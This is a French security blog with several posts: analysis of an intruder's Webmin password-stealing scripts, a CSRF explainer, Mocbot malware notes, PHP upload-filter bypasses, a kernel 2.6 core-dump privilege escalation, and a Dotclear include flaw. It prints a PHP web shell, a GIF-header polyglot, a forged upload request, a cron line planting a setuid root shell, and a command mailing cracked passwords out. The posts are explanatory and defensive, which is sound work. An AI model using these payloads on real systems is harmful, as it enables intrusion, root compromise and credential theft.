Ce script utilise pscan2 pour trouver des machines ayant un port Webmin ouvert (20000) puis pour chaque machine correspondant à ces critères il appelle le programme 'do'
Là vous vous demandez "mais à quoi sert le binaire do" :confused:
Et bien c'est la partie qui automatise l'attaque. Pour chaque adresse IP trouvée dans le fichier passé en paramêtre (ips dans ce cas), l'exploit pour Webmin est lancé et va tenter d'accèder au fichier /etc/shadow du serveur. Différentes tentatives sont faites afin de couvrir différents systèmes (par exemple master.passwd pour BSD)
Les résultats obtenus sont placés dans les fichiers pass, pass2, pass3.
Pour chacun de ces fichiers John the Ripper est lancé en tâche de fond afin de casser les mots de passe. Le résultat final c'est les éventuels passwords trouvés mis dans un fichier "vuln" et envoyés sur une boîte mail :
cat vuln | mail -s woot woot $1 conf.team@gmail.com

La commande try semble faire la même chose que do

L'intrusion en elle même n'était pas exceptionnelle mais les binaires étaient pour le moins intéressants...
L'étude a été faite dans un environnement chrooté avec des outils comme strace, ltrace et SoapBox

Les attaques par Cross-site request forgery

, , , ...

Dans le monde de la sécurité informatique il y a parfois des vulnérabilités et des concepts tellements évidents que l'on en parle pas et on passe à côté. Jusqu'à ce qu'un petit malin trouve une formule qui en jette pour décrire ce concept (au hazard "Compromis temps-mémoire") et alors ça devient la ruée vers l'or p:
C'est le cas des attaques par Cross-Site Request Forgery (CSRF ou encore XSRF).

Il faut avouer que la formule est bien longue pour un principe pour le moins simple : inciter un internaute à cliquer ou se rendre sur une page donnée pour qu'une tâche spécifique soit effectuée par son intermédiaire sur un site Internet.
L'exemple le plus simple est celui des scripts de déconnexion présents sur les forums, les webmails, et autre plate-formes communautaires.
Généralement ces scripts ne font rien pour vérifier que l'utilisateur a suivi une procédure dans les règles pour se déconnecter. Ainsi un membre d'un forum fictif pourrait poster un message de la forme :
[url=http://exemple.com/forum/logout.php]La bande anonce du dernier James Bond[/url]

Provoquant la déconnexion des autres membres pensant cliquer sur un lien vers une bande annonce.
Si l'attaquant est encore plus sournois il peut par exemple donner l'url du script de connexion comme adresse pour son avatar. Ainsi à chaque lecture d'une discussion à laquelle il a participé, les utilisateurs se voient déconnectés.
Dans des cas particuliers il doit même être possible de déconnecter les utilisateurs dès leur connexion, provoquant ainsi un déni de service.

Un cas réel a été trouvé il y a 2 mois sur Google. Techniquement il s'agit juste d'une page qui redirige le visiteur vers http://www.google.com/setprefs?hl=ga (à quelques paramêtres près) changeant ainsi la langue dans laquelle Google s'affiche.
Même si le résultat est plus une plaisanterie qu'une attaque malveillante, elle montre tout de même l'étendue des possibilitées.

On pourrait forcer les utilisateurs à effacer leurs messages sur un webmail, s'inscrire dans un groupe sur last.fm (expérience vécue... mais je n'ai pas déterminé à quel moment et par quelle page ça a eu lieu) ou encore les forcer à acheter la discographie complète de Richard Gotainer sur eBay.

Ce qui différencie un CSRF d'un simple lien, c'est le résultat obtenu : l'altération ou l'insertion de données sur le site Internet visé ou dans le navigateur de l'internaute.
Dans le cas de Google, la victime n'a pas à possèder un compte Gmail pour que l'attaque fonctionne : les données altérées sont les préférences enregistrées dans un cookie.
Une exploitation réussie sur un forum IPB vulnérable pourrait forcer l'administrateur du forum à augmenter les droits d'un membre.

On peut faire en sorte qu'un internaute se rende sur une page... mais peut-on faire en sorte qu'il remplisse un formulaire et clique sur le bouton "Envoyer" ?
En fait ce n'est pas beaucoup plus difficile : il faut créer une page avec un form et des champs cachés (input type=hidden) et des valeurs pré-renseignées. Avec les CSS on peut très facilement faire apparaître le bouton comme étant un lien ou encore une image cliquable.
Si on ne souhaite pas attendre que l'utilisateur appuie sur le bouton, on peut automatiser l'envoi des données en utilisant la fonction submit() du langage Javascript.

Que peut-on faire finalement pour se protéger de telles attaques ?
Premièrement durcir les règles de session sur le site : empècher par exemple la reconnexion automatique (redemander à chaque fois le login et le mot de passe). Les utilisateurs risquent de ne pas apprécier et en aucun cas ça ne bloque les attaques (ça peut éventuellement réduire le nombre d'attaques réussies).

Faire des vérifications sur le référant (l'adresse de la page d'où ont été envoyées les données). La majorité des navigateurs envoient un référant. Une minorité ne l'envoie pas pour des raisons de vie privée. On peut par exemple accepter les données quand le référant est valide ou vide et refuser les données provenant d'un site extérieur.
Malheureusement les redirections HTTP (comme utilisées pour l'exemple avec Google) ne transmettent pas ce référant.

Compter sur le navigateur pour détecter de telles attaques serait illusoire (tous n'intégreront pas ces protections et ce serait le jeu du chat et de la souris avec les pirates).

Utiliser un système de captcha pour valider chaque envoie de données... infernal :D

En fait la seule solution qui semble efficace est de passer dans les urls générées par le site un nombre aléatoire, stocké dans une base de données ou enregistré dans un cookie. L'attaquant ne pouvant déterminer ce nombre aléatoire, il ne pourra pas générer des urls valides.
Bien sûr il faut que ce nombre aléatoire soit pris dans un intervalle assez grand pour que les chances qu'il trouve un couple nombre/victime valide soit infime.
Il faut aussi compter sur les utilisateurs pour ne pas divulger ce nombre aléatoire. C'est pour ça que certaines personnes préfèrent passer cette valeur par POST (champ caché dans un formulaire) que par GET (url).

Quoiqu'il en soit on n'est pas sorti de l'auberge p:

Mocbot

, , , ...

Si vous apportez de l'importance à la sécurité de votre Windows, vous êtes forcément au courant qu'une nouvelle vulnérabilité, nom de code MS06-040 a été découverte, et qu'elle est jugée critique.

Cette vulnérabilité touche le service "Server" de Windows (lanmanserver) qui se charge du partage de fichiers et d'imprimantes. Ce service correspond au fichier svchost.exe.
La faille, de type buffer overflow, peut permettre de faire exécuter du code (avec des privilèges élevés) sur la machine si son exploitation est réussie.

La page McAfee dédié à cette vulnérabilité nous donne les dates principales des évennements :

L'apparition d'un ver exploitant cette vulnérabilité semble alors imminente. Toutefois, comme l'explique la société de sécurité LURQ, différents facteurs viennent aténuer l'importance de cette faille.
Tout d'abord, et Microsoft le dit lui-même, les ports ciblés (139 et 445) sont protégés par le firewall du SP2. Ensuite, toutes les versions ne permettent pas l'exécution de code.
Pour combler le tout, le patch est d'ores et déjà disponible.

Les vxers n'ont pas attendu longtemps pour exploiter la vulnérabilité : ils ont tout simplement repris un bot existant nommé Mocbot et datant de fin 2005 et ont remplacé l'exploit pour la faille PnP (MS05-039) par le nouvel exploit.
Mocbot est un bot IRC. C'est à dire qu'une fois exécuté, il tente de se connecter à un serveur IRC et rejoint un chan prédéfini où il attends patiemment qu'on lui donne des ordres.
Quand sufisamment de zombies font partie du Botnet, les pirates peuvent s'en servir pour effecter des déni de service, récupérer des infos bancaires, installer des spywares ou des relais pour le spam (certains revendent les "clés" de leur réseau à des sociétés peu scrupuleuses).

Pour se dissimuler, Mocbot se copie dans le dossier system sous le nom "wgareg.exe". Il se lance en tant que service à chaque démarrage de l'ordinateur.
Dans l'affichage des services Windows, il apparait avec le nom "Windows Genuine Advantage Registration Service" dont la description est la suivante :

Ensures that your copy of Microsoft Windows is genuine and registered. Stopping or disabling this service will result in system instability.

:jester:
Là où il est bien moins malin c'est que les serveurs IRC utilisés sont les mêmes que pour MS05-039, par conséquent, certains administrateurs prudents ont peut-ête déjà ces serveurs bloqués par leur firewall. Et le fait qu'ils soient hardcodés (en dur dans le code) rend le fonctionnement de Mocbot pour le moins prévisible.

Grâce à nepenthes (voir mon billet sur mwcollect) qui fonctionne parfaitement maintenant, j'ai pû récupérer (à priori) une version de Mocbot.

Je dis "à priori" parce que :
  • Les hashs MD5 donnés sur le net pour ces fichiers ne correspondent pas à ce que j'obtiens
  • D'après la description de IRC-Mocbot!MS06-040 par McAfee, il n'utilise ni FTP ni TFTP. Dans mon cas TFTP est utilisé
  • Mocbot est compressé/encodé avec le packer Mew (pour ceux que ça parle)

Toutefois... dans tous les cas Clamav n'y vois que du feu.
Pour l'un des binaires, f-prot me dis qu'il est packé avec Aspack et m'averti qu'il s'agit probablement d'une nouvelle version de W32/Threat-HLLAV-based!Maximus
Pour les autres binaires, f-prot me donne :

(Packed)->(Packed) Infection: Possibly a new variant of W32/Threat-HLLIN-based!Maximus



Ce qui correspond aux comportements respectifs de Clamav et F-Prot pour ce malware (voir le graphique dans cette page)

Une variante spam est apparue, vous pouvez en savoir plus en lisant cet article : Mocbot Spam Analysis.

Je pars en vacances pour une petite semaine donc pas de billets d'ici là. Je vous laisse le blog, n'oubliez pas de rabaisser la lunette en partant et que ce soit propre quand je revienne :wink:

PHP : Les dangers des scripts d'upload

, , , ...

PHP et la sécurité c'est un peu comme un vieux couple qui passerait son temps à s'envoyer de la vaiselle à la figure : ils arrivent toujours à trouver un sujet de discorde.
PHP est à la portée de tous... et c'est peut-être ça le problème : on peut faire n'importe quoi avec et surtout rien n'empèche de le faire mal nervous
Ce langage est un hybride du shell (variables commençant par le symbole dollar, pas de déclaration de types, très souple) et du C (auquel il n'a malheureusement pris que certains mots clés).
La logique veut que si PHP soit si simple à utiliser alors il est certes très facile de faire n'importe quoi, mais aussi, ce ne doit pas être bien compliqué de faire de belles choses.
Par conséquent le maillon faible de la sécurité de PHP reste principalement le programmeur.

Toutefois certaines fonctionnalités de PHP ne viennent pas aranger les choses. Comme on dit, "It's not a bug, it's a feature."
Quand j'ai découvert PHP et sa capacité à inclure des scripts distants (par la fonction include() et compagnie), j'ai certainement réagi comme la plupart du monde en disant "Naaaaan ! Ils ont pas fait ça ?!" :eyes:
Je veux bien croire que la lecture d'informations depuis un autre serveur peut-être utile, par exemple pour aller chercher des news sur un site (c'était l'avant-AJAX), mais de là à permettre l'exécution de code il y a un pas qu'il ne fallait mieux ne pas franchir.
D'ailleurs il ne me semble pas avoir vu jusqu'à présent d'applications ayant recours à l'inclusion distante, seuls les pirates semblent réellement apprécier cette fonctionnalité.

L'autre gros bug fonctionnalité de PHP concernait l'initialisation des variables : avec l'option register_globals activée par défaut on laissait l'internaute initialiser nos variables à notre place. On se demande où ce cher Rasmus avait la tête.
Peut-être pensait-il que cela inciterait les développeurs à être plus vigilants... évidemment ce ne fut pas le cas et l'option est maintenant désactivée par défaut.

Plusieurs mécanismes de sécurité ont été mis en place "par dessus" pour tenter de corriger les erreurs, comme le safe_mode. Malheureusement quand ce ne sont pas les développeurs qui sont fautifs, c'est le langage lui-même. PHP a un très lourd passif en terme de failles de sécurité et des méthodes permettant de passer au travers du safe_mode sont découvertes régulièrement.

Pour certaines failles on peut se demander à qui incombe la responsabilité : PHP ou le programmeur ?
Les failles relatives à l'upload de fichier en font partie. Les scripts permettant à l'internaute d'envoyer un fichier sur le serveur sont souvent mal pensés, reposent sur des à-priori et sont la plupart du temps faillibles. C'est pour cela que Wapiti informe automatiquement quand il en trouve un, même s'il ne peut pas tester leur sécurité.

Parmi les grosses erreurs de programmation on peut trouver :
  • la possibilité pour l'internaute de choisir le répertoire de destination
  • la possibilité d'écraser un fichier existant
  • un manque de vérification sur la nature du fichier (voire pas de vérifications du tout)

Il est évident que plus on laisse de pouvoir à l'internaute, plus les possibilités d'attaque sont nombreuses. Mais même avec certaines vérifications un script peut malgré tout être exploitable.

Une recherche par Google sur les mots clés "upload php" nous renvoit un premier article proposant un script d'upload.
La seule vérification qui est faite porte sur la nature du fichier et correspond aux lignes suivantes :
// on vérifie maintenant l'extension
$type_file = $_FILES['fichier']['type'];

if( !strstr($type_file, 'jpg') && !strstr($type_file, 'jpeg') && !strstr($type_file, 'bmp') && !strstr($type_file, 'gif') )
{
  exit("Le fichier n'est pas une image");
}

Si je crée un fichier test.php dont le contenu est le suivant :
<?php
        system($_GET['cmd']);
?>

et que j'essaye de l'uploader sur le serveur, j'obtiens le message "Le fichier n'est pas une image", la vérification sur le type de fichier a fonctionné.
Mais regardons de plus près d'où viens la variable $_FILES['fichier']['type'] : le tableau $_FILES est généré à partir de la requête HTTP envoyée par le navigateur.
Si j'utilise un sniffeur comme Ethereal je peux récupérer la requête en question et l'analyser. Voici ce que j'obtiens (j'ai retiré le superflu) :
POST /vuln/upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 314
Content-Type: multipart/form-data; boundary=----------hS7LOLpAKgp2vmwz0gmmrP


------------hS7LOLpAKgp2vmwz0gmmrP
Content-Disposition: form-data; name="fichier"; filename="test.php"
Content-Type: application/octet-stream

<?php
        system($_GET['cmd']);
?>

------------hS7LOLpAKgp2vmwz0gmmrP
Content-Disposition: form-data; name="upload"

Uploader
------------hS7LOLpAKgp2vmwz0gmmrP--

On retrouve le nom du fichier, son contenu, ainsi qu'un type "application/octet-stream" pour l'entête Content-Type.
Maintenant je modifie la requête en remplaçant cet entête par :
Content-Type: image/jpeg

Si j'envoi cette nouvelle requête au serveur (avec netcat par exemple), mon fichier test.php est accepté et je peux l'appeler avec l'url http://localhost/vuln/upload/test.php.

Regardons un autre script. Toujours par Google, prenons le quatrième. Cette fois la vérification de la nature du fichier ne se fait plus par le tabeau $_FILES mais par la fonction php getimagesize.
Quand le fichier est une image cette fonction renvoit un tableau indiquant les dimensions de l'image ainsi que son type sous la forme d'un entier. Un type de 1 correspond à un fichier gif, 2 un jpg, 3 un png... Si le fichier n'est pas une image, la fonction renvoit FALSE et le script échouera.

Ici pour faire passer mon fichier php je n'ai pas beaucoup de choix : il doit être reconnu comme étant une image. La vérification du type de fichier est ici relative au format du fichier, par exemle sur les entêtes du fichier.
Un fichier image gif commence toujours par les même caractères : GIF89a
Il me suffit alors de créer un fichier cmd.php dont le contenu est le suivant :
GIF89a<?php system($_GET['cmd']); ?>

et le tour est joué... je n'ai même pas besoin de forger moi même la requête, il suffit d'envoyer le fichier normalement à l'aide du navigateur.
Il faut noter que cette méthode ne semble pas fonctionner sur le format JPG qui est bien plus complexe. Il est pourtant simple de créer un fichier JPG avec du PHP dedans puisque ce format autorise l'insertion de commentaires. Mais PHP ne parvient pas à interpréter les fichiers générés.

Tout cela nous montre qu'il est difficile de vérifier qu'un fichier est bien ce qu'il prétend être. La principale solution est tout bêtement de fixer l'extension du fichier uploadé quand cela est possible afin d'empècher son exécution par le pirate.
Mais même avec une extension .gif un fichier peut être dangereux : si un script permet d'inclure localement l'image du pirate alors PHP exécutera les commandes sans se poser la moindre question.

La solution qui me semble la plus efficace est de stocker les fichiers dans un répertoire en dehors de la racine web.
Une base de données doit pour cela stocker le chemin réel du fichier ainsi qu'un identifiant représentant le fichier. Il ne reste plus qu'à créer un fichier download.php qui récupère l'identifiant, en déduit le chemin vers le fichier sur le serveur, renvoit certains entêtes pour forcer le téléchargement et effectue un readfile() pour envoyer le contenu du fichier.

Beaucoup de forums proposant l'upload d'avatars sont vulnérables à ces attaques. Ici on ne souhaite pas forcer le téléchargement mais bien afficher l'image. On peut néanmoins utiliser une technique similaire qui renverrait les informations nécessaires dans les entêtes HTTP (obtenues à l'aide de getimagesize() par exemple) puis effectuerait aussi un readfile().
L'url des images ressemblerait alors à http://serveur/image.php?avatar=XXX
De plus on peut en profiter pour mettre des vérifications supplémentaires pour empécher le hotlinking des images, un système de compteurs pour les téléchargements... bref que du bon :smile:

Je vous laisse une url qui explique comment mettre en place un tel système : http://www.siteduzero.com/tuto-3-1718-1-upload-de-fichiers-par-formulaire.html
Bonne retouche de code :wink:

PS : A une époque il était même possible de remonter l'arborescence du serveur et choisir le répertoire pour l'upload en modifiant la partie "filename" d'une requête HTTP... Heureusement la faille a été corrigée.

Debian piraté

, , , ...

La nouvelle vient de tomber : l'un des serveurs principaux de Debian a été compromis.
Baptisé gluck, ce serveur est utilisé par les développeurs Debian et propose différents services comme "cvs", "ports" et "releases"... Dès la détection de la compromission, le serveur a été mis hors ligne afin d'effectuer une analyse forensics.

L'apparition récente d'une faille dans le kernel 2.6 permettant de passer root semblait le scénario le plus probable pour ce piratage.

Cette hypothèse s'est avérée vraie après l'analyse de gluck, comme l'explique Debian dans un communiqué.

De toute évidence les pirates devaient posséder un accès à la machine depuis quelques temps et attendaient seulement la première vulnérabilité importante leur permettant de prendre contrôle du système.
Heureusement l'intrusion a été très vite détectée et les pirates n'ont pas eu le temps de causer trop de dégâts... seule une version backdoorée de la commande ping a été trouvée.

Pour info, une intrusion similaire avait eu lieu en novembre 2003. A l'époque les pirates avaient modifié les sources du kernel pour y ajouter une backdoor mais grâce aux yeux attentifs de Linus Torvalds, on avait pû éviter le pire penguin

Source : Zone-H.org

Faille de sécurité dans le Kernel 2.6

, , , ...

Toute faille de sécurité dans le noyau Linux est à prendre au sérieux, en particulier si elles peuvent permettre une élévation des privilèges.
La faille "PRCTL Core Dump Handling" découverte par RedHat et patchée avec la version 2.6.17.4 du kernel est l'une de ces failles et est à prendre au sérieux, en particulier depuis la publication d'un exploit.

Cette faille n'est pas bien difficile à comprendre : le kernel autorise la génération de fichiers core dans des répertoires où un utilisateur n'a pas les droits d'écriture.

Un fichier core est une image de la mémoire d'un processus qui est généré lorsqu'un programme plante (erreur de segmentation). Ces fichiers sont générés à des fins de débogage et permettent à un programmeur de retrouver la cause du plantage.
Ces fichiers ne sont pas générés automatiquement, c'est l'utilisateur qui doit activer leur génération, par exemple en utilisant la commande ulimit (man bash)

Le PoC qui a été rendu public n'est pas difficile à comprendre.
Il commence par déclarer une chaîne de caractères qui contient une entrée pour le programme cron. Ce dernier (cron) tourne en fond sur le système et lance régulièrement des tâches planifiées (par exemple updatedb, mandb, clamav etc).
La chaîne de caractères est la suivante :
* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core

Son objectif est de lancer dans le plus petit intervalle de temps possible pour cron (apparemment 1 minute), la copie d'un shell avec le bit setuid puis d'effacer le fichier /etc/cron.d/core.

L'exploit change ensuite les règles de génération des fichiers core pour leur permettre une taille infinie (ça correspond à un "ulimit -c unlimited")
Il effectue ensuite un fork() pour créer un processus fils. Ce processus change de répertoire courant en se plaçant dans /etc/cron.d/
Le processus père kill() enfin le processus fils en lui envoyant le signal SIGSEGV (erreur de segmentation) ce qui provoque la génération du fichier core.

Les droits sur le répertoire /etc/cron.d/ sont tels qu'un utilisateur non privilégié ne peut normalement pas écrire dedans :
drwxr-xr-x  2 root root 48 2005-09-09 18:27 /etc/cron.d

Mais à cause d'une erreur dans le code du kernel, un fichier est bien généré :
devloop $ ls -l /etc/cron.d
total 64
-rw-------  1 root users 143360 2006-07-12 14:59 core


Ce fichier core est un fichier binaire mais cron va le lire comme s'il s'agissait d'un fichier texte et va finir par tomber sur la chaîne de caractère que l'on a vu tout à l'heure.
Les commandes sont alors exécutées avec les droits de l'utilisateur root, le système est compromis.
L'exploit public n'est pas tout à fait utilisable puisque bash ne fait pas appel à la fonction système setuid() mais les modifications à effectuer sont à la portée de tous.

Pour se protéger de cette faille le plus efficace est de mettre son kernel à jour dès que possible.
Un correctif (très bête il faut l'avouer) serait de rendre le dossier /etc/cron.d non-exécutable pour les utilisateurs non privilégiés (chmod 744 /etc/cron.d en tant que root) ce qui empècherait le processus fils de faire un chdir pour ce répertoire. Ca bloquera un bon nombre de scripts kiddies mais ça ne corrige pas la faille.

Bonne mise à jour à tous penguin

Faille dans Dotclear

, , , ...

Un exploit pour Dotclear vient d'être rendu publique par un certain rgod, connu pour le nombre de failles qu'il a révélé dans un bon nombre d'applications web.
Heureusement la faille qui touche notre moteur de blog préféré nécessite que l'option register_globals soit activée... ce qui ne se fait plus (ou alors il faut tapper sur les doigts de votre hébergeur)

La faille se situe dans le fichier layout/prepend.php. La variable $blog_dc_path n'est pas initialisée alors qu'une inclusion de fichier est faite avec cette variable :
$theme_path = $blog_dc_path.'/themes/';
(...)
if (file_exists($theme_path.$__theme.'/template.php')) {
        $dc_template_file = $theme_path.$__theme.'/template.php';
} else {
        $dc_template_file = $theme_path.'default/template.php';
}
# Prepend du template s'il existe
if (file_exists(dirname($dc_template_file).'/prepend.php')) {
        require dirname($dc_template_file).'/prepend.php';
}

Dans une utilisation normale preprend.php est inclus à partir du script index.php, script qui initialise justement la variable $blog_dc_path.
Mais un appel direct de prepend.php conjuguée avec l'option register_globals devrait permettre une inclusion distante... encore que l'on trouve les lignes suivantes un peu avant l'inclusion :
# Définition du template
if (!is_dir($theme_path.$__theme)) {
        header('Content-type: text/plain');
        echo 'Le thème '.$__theme.' n\'existe pas';
        exit;
}

et j'ai des gros doutes sur les capacités de la fonction is_dir() à fonctionner sur des fichiers distants...

En tout cas je donne un patch rapide pour ceux qui veulent, il suffit d'éditer prepend.php et de rajouter la ligne suivate just avant "# Variable de conf"
if(strstr($_SERVER['PHP_SELF'],'prepend')!=FALSE)$blog_dc_path='';

Bref si prepend.php a été appelé directement, on initialise la variable avant utilisation :wink: